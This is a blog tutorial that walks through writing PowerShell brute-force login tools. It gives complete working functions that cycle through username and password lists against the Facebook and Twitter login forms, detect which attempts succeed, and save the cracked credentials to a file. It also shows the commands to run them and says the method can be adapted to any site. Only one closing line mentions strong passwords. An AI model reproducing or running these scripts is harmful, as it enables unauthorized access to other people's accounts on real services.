Let's Code! An HTTP/HTTPs Bruteforcer. by Ben from 28 Aug 2016
Welcome back for another round of Let's Code! Last week we built an SSH Bruteforcer, so sticking with the bruteforcing theme we are going to make an HTTP/HTTPs bruteforcer. And since I am lazy, we are going to be reusing almost of all the code from last week. We are just going to modify it to work with HTTP/HTTPs login prompts. Here is the code that we will be reusing.
function HTTP-Bruteforcer {
Param
(
[string] $PathtoUsernames,
[string] $PathtoPasswords,
[string] $PathtoOutput
)
$usernames = Get-Content $PathtoUsernames
$passwords = Get-Content $PathtoPasswords
Foreach ($urlofserver in $servers)
{
Foreach($username in $usernames)
{
Foreach ($password in $passwords)
{
#This is where the login code goes
}
}
}
}
As you can see we are going to be making the HTTP Bruteforcer into a function. Unlike the SSH bruteforcer which we could use wholesale without modification as all SSH servers basically function exactly the same way, unfortunately every website uses a different method or fields to login. It could be a POST or GET request, and the email or id form field could function as the username. Because of this variability in HTTP logins I think we should actually make multiple HTTP bruteforcing functions. For the sake of this article we will first make a bruceforcer for facebook, then we will make a bruceforcer for twitter. The code below will login to Facebook but I will be using it to also test the login system of every site we want to bruteforce. I have saved it as Http-Bruteforcer-Tester.ps1
$urlofserver = "https://www.facebook.com"
$request = Invoke-WebRequest -Uri $urlofserver -SessionVariable ses
$username = "email adress here"
$password = "password here"
$form = $request.Forms[0]
$form.Fields["email"] = $username.ToString()
$form.Fields["pass"] = $password.ToString()
$request2 = Invoke-WebRequest -Uri ($form.Action) -WebSession $ses -Method POST -Body`
$form.Fields
$form = $request2.Forms[0]
If($form.Id -ne "login_form")
{
$output = $urlofserver + ", " + $username + ", " + $password
$output
}
Starting in Powershell 3.0, the Invoke-WebRequest commandlet has been available. I am going to try to use that to do some of the heavy lifting for the login requests. First, we set the user, password, and server url. Then we request a new session with the server and save it the session variable #ses using the Invoke-WebRequest -SessionVariable argument. We then look at the request in the PowerGUI variables window.

As you can see the ID of the for first is login_form, I think we can surmise this is the correct form for logging in. The method for using this form is POST. And in the fields we see the username is the email field and the password field is pass. We are going to use this information to form the next request. First, we set the requests forms to a the variable $form. We then modify the email and password fields to our email address and password. Now we can do another request but this time we will use the action url for the login_form form. We will reuse the session information from the $ses variable that we captured earlier. We will set the method to POST and we will set the body to use our modified form fields. We will put this new second request into the $request2 variable. Facebook never returns a status code other than 200 so we can't use that as a test for whether or not the login was success. We need to pick something on the page to test for that won't be present when a successful login occurs. In this instance, once logged in the first form in the request will no longer be login_form. If the login form is not present we then set the $output variable and display the url, username, and password. If you run the script with the correct username and password, then the url, username and password should be displayed to the console. So now let's put this all together into a function specifically for bruteforcing facebook.
function Http-Bruteforcer-Facebook {
Param
(
[string] $PathtoUsernames,
[string] $PathtoPasswords,
[string] $PathtoOutput
)
$usernames = Get-Content $PathtoUsernames
$passwords = Get-Content $PathtoPasswords
Foreach($username in $usernames)
{
Foreach ($password in $passwords)
{
$urlofserver = "https://www.facebook.com"
$request = Invoke-WebRequest -Uri $urlofserver -SessionVariable ses
$form = $request.Forms[0]
$form.Fields["email"] = $username.ToString()
$form.Fields["pass"] = $password.ToString()
$request2 = Invoke-WebRequest -Uri ($form.Action) -WebSession $ses `
-Method POST -Body $form.Fields
$form = $request2.Forms[0]
If($form.Id -ne "login_form")
{
$output = $username + ", " + $password
$output | Out-File -Append -FilePath $PathtoOutput
}
}
}
}
This function will pull in the email addresses and passwords from the text files and try to login using all of them and output the correct usernames and password to the output text file when its completed. The function can be tested using this command.
Http-Bruteforcer-Facebook -PathtoUsernames "C:\Users\Cold\Documents\scripts\httpbruteforcer\usernames.txt" -PathtoPasswords "C:\Users\Cold\Documents\scripts\httpbruteforcer\passwords.txt" -PathtoOutput "C:\Users\Cold\Documents\scripts\httpbruteforcer\output.txt"
Ok, so now lets take what we have learned and make a bruceforcer for Twitter.
$urlofserver = "https://twitter.com/login/"
$request = Invoke-WebRequest -Uri $urlofserver -SessionVariable ses
$username = "email address here"
$password = "password here"
$form = $request.Forms[2]
$form.Fields["session[username_or_email]"] = $username.ToString()
$form.Fields["session[password]"] = $password.ToString()
$request2 = Invoke-WebRequest -Uri ($form.Action) -WebSession $ses -Method POST -Body`
$form.Fields
$form = $request2.Forms[1]
If($form.Id -eq "signout-form")
{
$output = $urlofserver + ", " + $username + ", " + $password
$output
}
The code above will login to Twitter and output if successful. As we can see in the image below, on Twitter the third form is the login form and the username field is "session[username_or_email]" and the password field is "session[password]".

Again, we need to look at the second request to see if there is anything we can use to determine if a successful login has occured. In the case of Twitter the signout-form will be the second form after successfully logging in. If that form is present then the login worked. So now lets take this code and make it into a Twitter bruteforcing function.
function Http-Bruteforcer-Twitter {
Param
(
[string] $PathtoUsernames,
[string] $PathtoPasswords,
[string] $PathtoOutput
)
$usernames = Get-Content $PathtoUsernames
$passwords = Get-Content $PathtoPasswords
Foreach($username in $usernames)
{
Foreach ($password in $passwords)
{
$urlofserver = "https://twitter.com/login/"
$request = Invoke-WebRequest -Uri $urlofserver -SessionVariable ses
$form = $request.Forms[2]
$form.Fields["session[username_or_email]"] = $username.ToString()
$form.Fields["session[password]"] = $password.ToString()
$request2 = Invoke-WebRequest -Uri ($form.Action) -WebSession $ses`
-Method POST -Body $form.Fields
$form = $request2.Forms[1]
If($form.Id -eq "signout-form")
{
$output = $urlofserver + ", " + $username + ", " + $password
$output | Out-File -Append -FilePath $PathtoOutput
}
}
}
}
This function can be tested by running the following command: Http-Bruteforcer-Twitter -PathtoUsernames "C:\Users\Cold\Documents\scripts\httpbruteforcer\usernames.txt" -PathtoPasswords "C:\Users\Cold\Documents\scripts\httpbruteforcer\passwords.txt" -PathtoOutput "C:\Users\Cold\Documents\scripts\httpbruteforcer\output.txt"
Using the code and method described above we should be able to make a bruteforcing function for any website. And there you have it, we coded a couple http bruteforcers. Let's all remember to make our passwords strong so that we don't fall victim to this. You can download all the files related to this project here.
Sources
- http://stackoverflow.com/questions/12282842/how-to-login-to-website-with-basic-authentication-using-powershell
- https://technet.microsoft.com/en-us/library/hh849901.aspx